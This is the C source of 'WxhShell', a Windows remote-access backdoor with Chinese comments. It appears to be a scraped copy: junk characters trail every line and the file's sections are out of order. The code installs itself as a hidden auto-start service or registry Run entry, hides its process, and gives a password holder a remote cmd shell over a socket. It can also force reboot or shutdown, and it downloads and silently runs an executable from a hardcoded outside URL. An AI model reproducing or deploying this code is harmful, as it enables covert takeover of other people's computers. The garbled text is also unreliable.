    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jo4iWJpK  
    else { \7] SG  
    closesocket(wsh); H1-eMDe  
    ExitThread(0); i2X%xYv ^  
    } BTDUT%Yfg  
    break; vY!'@W  
    } FS7@6I2Ts  
  // 获取shell oP_}C[  
  case 's': { 1)hO!%  
    CmdShell(wsh); tPaNhm[-q7  
    closesocket(wsh); =_Ip0FfK!  
    ExitThread(0); ayr CLv  
    break; ;%!]C0 ?  
  } $HP<C>^Z8  
  // 退出 I8Q!`K J  
  case 'x': { o e,yCdPs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xhp={p;  
    CloseIt(wsh); ^~7ouA  
    break; 9z kRwrQ  
    } x`JhNAO>  
  // 离开 PdSYFJM  
  case 'q': { rObg:(z&\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GL'l "L  
    closesocket(wsh); jW;g{5X  
    WSACleanup(); {P'^X+B0*  
    exit(1); xP-\)d-.aN  
    break; 1fqJtP6  
        } U5yBU9\G  
  } EGxCNB  
  } kV:T2}]|H  
 P@FE3g  
  // 提示信息 ?g9oiOhnG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PauF)p  
} 'nN'bVl/  
  } uYCWsw/  
:N64FR#  
  return; ff5 e]^,  
} CkR 95*  
SaFNPnk=  
// shell模块句柄 9i+.iuE%Bu  
int CmdShell(SOCKET sock) ndHUQ$/(  
{ OCEhwB0  
STARTUPINFO si; N~tq ]  
ZeroMemory(&si,sizeof(si)); )jGB[s";)y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vbEO pYCS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *9tRh Rc  
PROCESS_INFORMATION ProcessInfo; ~_a$5Y  
char cmdline[]="cmd"; 0+Z?9$a1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c]68$;Z7  
  return 0; <lTLz$QE  
} #Q@~ TW  
7mA:~-.u  
// 自身启动模式 q aG8:  
int StartFromService(void) dy3fZ(=q^  
{ T\w{&3ONm  
typedef struct }6!m Q  
{ _~bG[lX!  
  DWORD ExitStatus; mr>dZ)  
  DWORD PebBaseAddress; ffR<G&"n~b  
  DWORD AffinityMask; z!aU85y  
  DWORD BasePriority; nrKir  
  ULONG UniqueProcessId; +g&M@8XO&  
  ULONG InheritedFromUniqueProcessId; Vp1Ff  
}   PROCESS_BASIC_INFORMATION; _*++xF1  
th%T(D5n  
PROCNTQSIP NtQueryInformationProcess; Wo{4*~f  
[Gc9 3PA7q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z[WdJN{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /kAbGjp0  
[r^WS;9n  
  HANDLE             hProcess; ]JH Int  
  PROCESS_BASIC_INFORMATION pbi; } p `A>  
T 3 <2ds  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;s?,QvE{r#  
  if(NULL == hInst ) return 0; tHV+#3h  
f&!{o=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |: pBk:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [:8+ +#KD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ),XDY_9K  
rmeGk&*R8  
  if (!NtQueryInformationProcess) return 0; v9"03 =h  
+LF`ZXe8l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @T%8EiV  
  if(!hProcess) return 0; ^#]eCXv  
Bdm05}c@u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ak\[+wQ  
rPK1#  
  CloseHandle(hProcess); 7{p6&xXx  
~p x2kHZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lBLL45%BIN  
if(hProcess==NULL) return 0; y.gjs <y  
10CRgrZ  
HMODULE hMod; H18pVh  
char procName[255]; t**MthnW  
unsigned long cbNeeded; 5%"sv+iO  
m8Rt>DY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Y[C A.F  
IHv>V9yiG  
  CloseHandle(hProcess); t:YMF$Z  
KM/c^ a4V  
if(strstr(procName,"services")) return 1; // 以服务启动 ufJHC06  
q<Y#-Io%3  
  return 0; // 注册表启动 \: R Akf<  
} |#zj~>7?  
5=Il2  
// 主模块 7`tJ/xtMy;  
int StartWxhshell(LPSTR lpCmdLine) EzU3'x  
{ vf-8DB  
  SOCKET wsl; ]Xg7XY  
BOOL val=TRUE; 7n7UL0Oc1  
  int port=0; ?@QcKQ@  
  struct sockaddr_in door; ~^l;~&  
x#fv<Cj4  
  if(wscfg.ws_autoins) Install(); ''}2JJU{  
vG~JK[  
port=atoi(lpCmdLine); s#FX2r3=Fg  
;N!opg))d<  
if(port<=0) port=wscfg.ws_port; 0E#?H0<OeG  
cUTG! P\R  
  WSADATA data; " f.9u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {dwlW`{  
n( zzH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VBz G`&NG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PV-B<Y  
  door.sin_family = AF_INET; =g?k`v p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3*N0oc^m  
  door.sin_port = htons(port); 3x>Y  
f1 `E-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JG@Zb}b  
closesocket(wsl); xn anca  
return 1; ?N&s .  
} [`' K.-?#  
T3PwM2em_`  
  if(listen(wsl,2) == INVALID_SOCKET) { d?aZk-|c  
closesocket(wsl); ,3W,M=j)  
return 1; Y?:" nhN  
} T>w;M?`9K  
  Wxhshell(wsl); 3-BC4y/  
  WSACleanup(); Gm=e;X;r  
\ lK `  
return 0; G,6 i!M  
/]2I%Q  
} |d=GAW v  
4ULdf|oP"  
// 以NT服务方式启动 &3:<WU:U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =oTj3+7  
{ " :V@AT  
DWORD   status = 0; ,; n[_f  
  DWORD   specificError = 0xfffffff; w!OYH1ds]_  
uCc5)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &.JJhX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; czH# ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mg&<W#$K  
  serviceStatus.dwWin32ExitCode     = 0; J:G{  
  serviceStatus.dwServiceSpecificExitCode = 0; W&7(  
  serviceStatus.dwCheckPoint       = 0; goc; .~?  
  serviceStatus.dwWaitHint       = 0; }O2P>Z?V  
T-Yb|@4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GjbOc   
  if (hServiceStatusHandle==0) return; Kf`/ Gc!  
[Xww`OUsh  
status = GetLastError(); 3e1%G#fu  
  if (status!=NO_ERROR) [^gb6W9Y  
{ o90[,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N'Vj& DWC  
    serviceStatus.dwCheckPoint       = 0; r`e6B!p  
    serviceStatus.dwWaitHint       = 0; ?=b#H6vs  
    serviceStatus.dwWin32ExitCode     = status; )NO ,G  
    serviceStatus.dwServiceSpecificExitCode = specificError; gps.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fJ+4H4K  
    return; i:H]Sb)<b  
  } x^McUfdr|  
ol}}c6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zIr4!|X  
  serviceStatus.dwCheckPoint       = 0; G6s3 \de#U  
  serviceStatus.dwWaitHint       = 0; |Rz}bsrZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #I#_gjJkx  
} +1c[!;'  
H=9{|%iS  
// 处理NT服务事件,比如:启动、停止 l@`n4U.Gwl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {dlG3P='`f  
{ q><wzCnRu~  
switch(fdwControl) ;A0ZcgF  
{ ={50>WXE  
case SERVICE_CONTROL_STOP: 0Z{u;FI  
  serviceStatus.dwWin32ExitCode = 0; ?O0,)hro  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~J >Jd  
  serviceStatus.dwCheckPoint   = 0; _)6r@fZ.p  
  serviceStatus.dwWaitHint     = 0; r(<91~Ww  
  { 3gv?rJV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r9p ((ir  
  } I_|W'%N]  
  return; &_' evZ8  
case SERVICE_CONTROL_PAUSE: V!s#xXD}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,My'_"S?  
  break; f/{ClP.  
case SERVICE_CONTROL_CONTINUE: f'Rq#b@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yO@@-)$[y  
  break; &D&U!3~(  
case SERVICE_CONTROL_INTERROGATE: Rp>%umDyL  
  break; j{@li1W@  
}; ]ClqX;'weJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<7@3Ur  
} zr wzI+4  
zuF]E+  
// 标准应用程序主函数 be [E^%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D8`SI2 1P  
{ <2wC)l3j*  
f DPLB[  
// 获取操作系统版本 .f|)od[  
OsIsNt=GetOsVer(); DHuUEv<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h]}DMVV]  
dwb^z+   
  // 从命令行安装 T*k}E  
  if(strpbrk(lpCmdLine,"iI")) Install(); VRg y  
$<L@B|}F)  
  // 下载执行文件 Gsy'':u  
if(wscfg.ws_downexe) { ^~s!*T)\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H-eHX3c7  
  WinExec(wscfg.ws_filenam,SW_HIDE); )U{\c2b  
} hLT?aQLx  
H%{k.#O  
if(!OsIsNt) { :bkmm,%O  
// 如果时win9x,隐藏进程并且设置为注册表启动 -X-sykDm  
HideProc(); J^zB 5W,)  
StartWxhshell(lpCmdLine); M]xfH*  
} z~/e\  
else .>2]m[53  
  if(StartFromService())  xF*i+'2  
  // 以服务方式启动 xrkR)~ E  
  StartServiceCtrlDispatcher(DispatchTable); +5GPU 9k  
else ~DS.b-E  
  // 普通方式启动 v3wq-  
  StartWxhshell(lpCmdLine); | g"K7XfM4  
ED>P>Gg  
return 0; 'Jd*r(2d  
} W9S6 SO^\  
.u]d5z BR  
v=DC3oh-  
u R]8ZT")  
=========================================== Dn`  
z~ua#(z1S  
V14+?L  
GQ sE5Vb  
SQ<{X/5  
B[d%?L_  
" F:AVik  
z Ece>=C  
#include <stdio.h> Lzx2An@R  
#include <string.h> T&j:gg  
#include <windows.h> ^_BjO(b'e  
#include <winsock2.h> 'f8'|o)  
#include <winsvc.h> ;_0frX  
#include <urlmon.h> $y%IM`/w  
GE=PaYz  
#pragma comment (lib, "Ws2_32.lib") >[Tt'.S!?  
#pragma comment (lib, "urlmon.lib") RL*b4 7,  
wM}AWmH  
#define MAX_USER   100 // 最大客户端连接数 Kd*=-  
#define BUF_SOCK   200 // sock buffer nuw7pEW@?  
#define KEY_BUFF   255 // 输入 buffer tD,I7%|@  
B &3sV+  
#define REBOOT     0   // 重启 Kaji&Ibd  
#define SHUTDOWN   1   // 关机 D-e?;<  
q``/7  
#define DEF_PORT   5000 // 监听端口 -] G=Q1 1  
X2{Aa T*M  
#define REG_LEN     16   // 注册表键长度 )[ejb?{d  
#define SVC_LEN     80   // NT服务名长度 8[#EC3  
U[z2{\  
// 从dll定义API f<y3/jl4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6#ktw)e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MjbgAH-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h)s&Nqg1B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w%(D4ldp   
k7]4TIUD*  
// wxhshell配置信息 7/iN`3Bz  
struct WSCFG { Yy,XKIqU  
  int ws_port;         // 监听端口 Bq,MTzxD  
  char ws_passstr[REG_LEN]; // 口令 "*:?m{w5  
  int ws_autoins;       // 安装标记, 1=yes 0=no .vd*~U"  
  char ws_regname[REG_LEN]; // 注册表键名 %AA -G  
  char ws_svcname[REG_LEN]; // 服务名 5Ha(i [d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V 7D<'!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *;Z a))  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uUe#+[bD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A o@WTs9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <4CqG4}Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l< HnPR/  
/v.<h*hxWy  
}; GGU wS  
+jO#?J  
// default Wxhshell configuration bGK-?BE5+A  
struct WSCFG wscfg={DEF_PORT, ^ Z3y  
    "xuhuanlingzhe", &PX!'%X68h  
    1, 2>f3n W  
    "Wxhshell", W*/2x8$d  
    "Wxhshell", gLlA'`!  
            "WxhShell Service", n6 wx/:  
    "Wrsky Windows CmdShell Service", y( UWh4?t  
    "Please Input Your Password: ", E:[!)UG|y  
  1, '@5 x=>  
  "http://www.wrsky.com/wxhshell.exe", M~)iiKw~MY  
  "Wxhshell.exe" W{1l?Wo  
    }; 7| `_5e  
+-rSO"nc  
// 消息定义模块 IsjN xBM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rl-#Ez  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cfy9wD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]hRs -x  
char *msg_ws_ext="\n\rExit."; L @J$kqWY  
char *msg_ws_end="\n\rQuit."; UJjtDV3@_g  
char *msg_ws_boot="\n\rReboot..."; JURg=r]LI  
char *msg_ws_poff="\n\rShutdown..."; iF_u/#  
char *msg_ws_down="\n\rSave to "; Y oZd,} i  
C~PP}|<~V  
char *msg_ws_err="\n\rErr!"; %&J`mq  
char *msg_ws_ok="\n\rOK!"; #%{  
_>^Y0C[?5  
char ExeFile[MAX_PATH]; BM5)SgK  
int nUser = 0; ~+PKWs'}F  
HANDLE handles[MAX_USER]; lB7/oa1]>  
int OsIsNt; iz+,,UH  
}4Q3S1|U  
SERVICE_STATUS       serviceStatus; X@/X65=[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,V)hV@Dk  
w9Nk8OsL  
// 函数声明 &SPIu,  
int Install(void); M #%V%<  
int Uninstall(void); pV1 ;gqXNS  
int DownloadFile(char *sURL, SOCKET wsh); 0*j\i@  
int Boot(int flag); 3f:]*U+O  
void HideProc(void); '1d0 *5+6k  
int GetOsVer(void); Hi U/fi`  
int Wxhshell(SOCKET wsl); #v4^,$k>  
void TalkWithClient(void *cs); fT<3~Z>m  
int CmdShell(SOCKET sock); {;o54zuKf  
int StartFromService(void); qat'Vj,  
int StartWxhshell(LPSTR lpCmdLine); n.,ZgLx["  
)iZhE"?z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )i:"cyoE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .5tXwxad"  
W k"_lJ  
// 数据结构和表定义 |aj]]l[@S  
SERVICE_TABLE_ENTRY DispatchTable[] = H~:g =Zw  
{ V'9OGn2v  
{wscfg.ws_svcname, NTServiceMain}, slLTZ]  
{NULL, NULL} xscR Bx  
}; I]~s{I(EK  
ncpA\E;ff^  
// 自我安装 T,B%iZgCh  
int Install(void) QRF:6bAxsL  
{ #nKGU"$+  
  char svExeFile[MAX_PATH]; 5U*${  
  HKEY key; C*Q x  
  strcpy(svExeFile,ExeFile); s}DNu<"g  
L l,nt  
// 如果是win9x系统,修改注册表设为自启动 6K >(n  
if(!OsIsNt) { ^plP1c:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !_?HSDAj"n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X*e:MRw[  
  RegCloseKey(key); S-brV\v7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { buHUBn[3)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !H @nAz  
  RegCloseKey(key); UaHN*@  
  return 0; fUJe{C<H  
    } 5!6}g<z&L  
  } f%REN3=5K  
} GB}X  
else { y;hco  
vVo# nzeZ5  
// 如果是NT以上系统,安装为系统服务 ul"Z% 1]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QdIoK7J 9  
if (schSCManager!=0) zeH=py[n  
{ fJi?~[5<  
  SC_HANDLE schService = CreateService .o8pC  
  ( sEx\7tK  
  schSCManager, 9y)}-TcSpY  
  wscfg.ws_svcname, L)Da1<O  
  wscfg.ws_svcdisp, 8 ;=?Lw?  
  SERVICE_ALL_ACCESS, ">nFzg?Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [U7r>&  
  SERVICE_AUTO_START, , - _ReL  
  SERVICE_ERROR_NORMAL, lPz5.(5'  
  svExeFile, |8\et  
  NULL, XsMETl"Av4  
  NULL, |mz0 ]  
  NULL, +R31YR8C0  
  NULL, Ll^9,G"Tt  
  NULL ~s[Yu!(  
  ); ?\a';@h  
  if (schService!=0) MO79FNH2\  
  { .r@'9W^8  
  CloseServiceHandle(schService); jLBwPI_g  
  CloseServiceHandle(schSCManager); G""=`@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vpk~,D07yR  
  strcat(svExeFile,wscfg.ws_svcname); Zr;(a;QKs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DzY`O@D[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H3S u'3  
  RegCloseKey(key); 23`pog{n  
  return 0; @wXo{p@W  
    } +]{PEnJ  
  } /A`Ly p#  
  CloseServiceHandle(schSCManager); ]&L[]  
} DVRbTz3V  
} O[&G6+  
Lmyw[s\U  
return 1; eadY(-4|I-  
} 5LxzET"P  
|Oe$)(`|h  
// 自我卸载 p"J\+R  
int Uninstall(void) 4_?*@L1  
{ SyR[G*djl  
  HKEY key; +JL"Z4b@R}  
*:V"C\`^n  
if(!OsIsNt) { n!\&X9%[8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~r>N  
  RegDeleteValue(key,wscfg.ws_regname); E+E.z?>S  
  RegCloseKey(key); Hk;) l3oB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "@E(}z'sM  
  RegDeleteValue(key,wscfg.ws_regname); M7n|Z{?(  
  RegCloseKey(key); :. a}pgh  
  return 0; _ ;_NM5  
  } _&6&sp<n  
} [z`m`9Aq  
} 'm+)n08[  
else { -|xyj2M  
NFcMh+qnK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H?axlRmw3  
if (schSCManager!=0) 9:l>FoXS  
{ bQow,vf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RO=[Rr!   
  if (schService!=0) xvQJTR k  
  { !v<r=u  
  if(DeleteService(schService)!=0) { l.\Fr+*ej  
  CloseServiceHandle(schService); {f3)!Pei`J  
  CloseServiceHandle(schSCManager); Fd2Eq&:en$  
  return 0; /_l%Dm?  
  } rJ]iJ0[I  
  CloseServiceHandle(schService); m.EI("n"J  
  } '0GCaL*Sd  
  CloseServiceHandle(schSCManager); 4~hd{8  
} )}hp[*C  
} "'p:M,:  
,h5\vWZ  
return 1; DGj:qd(  
} DbP!wU lqR  
GN?^7kI  
// 从指定url下载文件 uDay||7^g  
int DownloadFile(char *sURL, SOCKET wsh) ~dC)EG  
{ b/5?)!I  
  HRESULT hr; ++-HdSHY  
char seps[]= "/"; Yw"o_  
char *token; cjHo?m'  
char *file; 7f#e#_sM;  
char myURL[MAX_PATH]; RmY5/IYR|:  
char myFILE[MAX_PATH]; O&V}T#8n  
\Pi\c~)Pr  
strcpy(myURL,sURL); 21bvSK  
  token=strtok(myURL,seps); aB0L]i  
  while(token!=NULL) _d 76jmujJ  
  { 6!bVPIyYO  
    file=token; E'j>[C:U  
  token=strtok(NULL,seps); U748$%}]  
  } v{Al>v}}n  
O $'# 8  
GetCurrentDirectory(MAX_PATH,myFILE); 2Hw&}8  
strcat(myFILE, "\\"); !'wh hi  
strcat(myFILE, file); D)U 9xA)J  
  send(wsh,myFILE,strlen(myFILE),0); g&!UaJ[#9  
send(wsh,"...",3,0); Hdw;=]-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C=IT`iom1C  
  if(hr==S_OK) &YGd!Q  
return 0; ;e4 15T  
else 9+ nB;vA  
return 1; Ci4`,  
VdjS\VYe,  
} H=9kDP${  
ExeD3Zj  
// 系统电源模块 =,$*-<p=3  
int Boot(int flag) R8I%Cyc  
{ SE.r 'J0  
  HANDLE hToken; KiAWr-~gJ  
  TOKEN_PRIVILEGES tkp; z0+LD  
Y#S<:,/sb?  
  if(OsIsNt) { p:Ry F4{b2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ayfR{RYi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~7+7{9g  
    tkp.PrivilegeCount = 1; GPz0qK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _v bCC7Bf8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y<-h#_  
if(flag==REBOOT) { FeoI+K A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jj_z#6{  
  return 0; *`Swv`  
} `ltc)$  
else { _8A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g"ha1<y<  
  return 0; (RVe,0y  
} o}$uP5M8q  
  } ^MIF+/bQ  
  else { N;4bEcWjp  
if(flag==REBOOT) { S "'0l S   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @&?E3?5ll  
  return 0; `|coA2$rw  
} u^|c_5J(  
else { $9+|_[ ]v.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FlGU1%]m  
  return 0; pqe7a3jr  
} |eykb?j`  
} uzg(C#sp  
WJWi'|C4  
return 1; vz5x{W  
} vF@hg)A  
Wip@MGtJ  
// win9x进程隐藏模块 E! d?@Xr@  
void HideProc(void) q\s"B.(G"  
{ 2 j.6  
:No`+X[Kq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2(LF @xb  
  if ( hKernel != NULL ) ~hD!{([  
  { n2} (Pt.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >*s_)IH2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EP,j+^RVf  
    FreeLibrary(hKernel); X3e&c  
  } 2[~|#0x  
W*S}^6ZT`  
return; "| Oj!&0  
} _PT5  
?M!Mb-C[  
// 获取操作系统版本 94^)Ar~O  
int GetOsVer(void) T5nBvSVv'  
{ 9gq+,g>E_  
  OSVERSIONINFO winfo; J,4,#2M8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QO2@K1Y  
  GetVersionEx(&winfo); q9Zp8&<EqH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T_R2BBT v  
  return 1; F!7dGa$  
  else `eZzYe(N  
  return 0; Y TpiOPf  
} PAng(tubl  
8tfM,.]_i  
// 客户端句柄模块 '41'Gn  
int Wxhshell(SOCKET wsl) ( jACLo  
{ GuK3EM*_  
  SOCKET wsh; P5Lb)9_Jw  
  struct sockaddr_in client; Zt_~Zxn3  
  DWORD myID; (4o<U%3kGq  
&!P' M  
  while(nUser<MAX_USER) y0vJ@ %`  
{ H9;0$Y(e-  
  int nSize=sizeof(client); ;~D$ rT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yFoPCA86y  
  if(wsh==INVALID_SOCKET) return 1; $%BI8_  
<W] RyEg`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o|:c{pwq  
if(handles[nUser]==0) n%|og^\0  
  closesocket(wsh); PRJ  
else cWtuI(.  
  nUser++; /!Ay12lKE}  
  } i<0_sxfUD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m)7Ql!l  
vB74r]'F  
  return 0; r>: ~!o*  
} y1{TVpN  
= 6Fpixq>  
// 关闭 socket BG|m5f  
void CloseIt(SOCKET wsh) \?v?%}x  
{ W4;/;[/L  
closesocket(wsh); GCf,Gfmr  
nUser--; vA3wn><  
ExitThread(0); BP4xXdG  
} @C-03`JWuK  
c@3mfc{  
// 客户端请求句柄 =yF]#>Ah  
void TalkWithClient(void *cs) :V3z`}Rl  
{ za%gD  
8)lrQvZ  
  SOCKET wsh=(SOCKET)cs; apOXcZ   
  char pwd[SVC_LEN]; xKR\w!+Z'  
  char cmd[KEY_BUFF]; *b'4>U  
char chr[1]; C@`rg ILc  
int i,j; <Y]e  
"uli~ {IU  
  while (nUser < MAX_USER) { xi51,y+(5  
Brts ig,4  
if(wscfg.ws_passstr) { ?g\emhG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X=+|(A,BdY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w73?E#8  
  //ZeroMemory(pwd,KEY_BUFF); fB80&G9  
      i=0; 6ao~f?JZ  
  while(i<SVC_LEN) { aFaioE#h(  
xa.tH)R  
  // 设置超时 Ul_ 5"3ze  
  fd_set FdRead; #M%K82"  
  struct timeval TimeOut;  TZ63=m  
  FD_ZERO(&FdRead); JM1O7I  
  FD_SET(wsh,&FdRead); b wM?DY  
  TimeOut.tv_sec=8; :8K}e]!c1  
  TimeOut.tv_usec=0; ?K+q~DzNSD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~NZL~p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;j.-6#n  
F\, vIS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AsD$M*It  
  pwd=chr[0]; G6QD`ED  
  if(chr[0]==0xd || chr[0]==0xa) { +h@.P B^`~  
  pwd=0; ~-<MoCm!  
  break; 2X<%BFsE  
  } %x.du9  
  i++; ]1FLG* sB  
    } TjDtNE  
'hE'h?-7  
  // 如果是非法用户,关闭 socket qA;Gl"HF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uu9IUqEq2  
} (\D E1q  
d~AL4~}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^U5Qb"hz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "~=-Q#xO  
Nm !~h|3  
while(1) { RIQ-mpg~(k  
)X;051Q  
  ZeroMemory(cmd,KEY_BUFF); j+fib} 8}  
J5(0J7C  
      // 自动支持客户端 telnet标准   iciKjXJ :  
  j=0; NRny]!  
  while(j<KEY_BUFF) { xP_/5N=f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Y?oAVkz  
  cmd[j]=chr[0]; /vq$/  
  if(chr[0]==0xa || chr[0]==0xd) { dQ:F5|p  
  cmd[j]=0; P1AC2<H  
  break; XUzOt_L5<  
  } p^|6 /b  
  j++; wZZ~!"O &  
    } N8pV[\f  
.X qeO@z  
  // 下载文件 81"` B2  
  if(strstr(cmd,"http://")) { Pz34a@%"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =[8K#PZ$w  
  if(DownloadFile(cmd,wsh)) _P=+\ [|y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tAE(`ow/Ur  
  else RyP MzxV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPa,P_6(  
  } O!%T<2i3  
  else { 76"4Q!  
r<vy6  
    switch(cmd[0]) { 3<Zp+rD  
  xu_,0 ZT]{  
  // 帮助 'B{FRK  
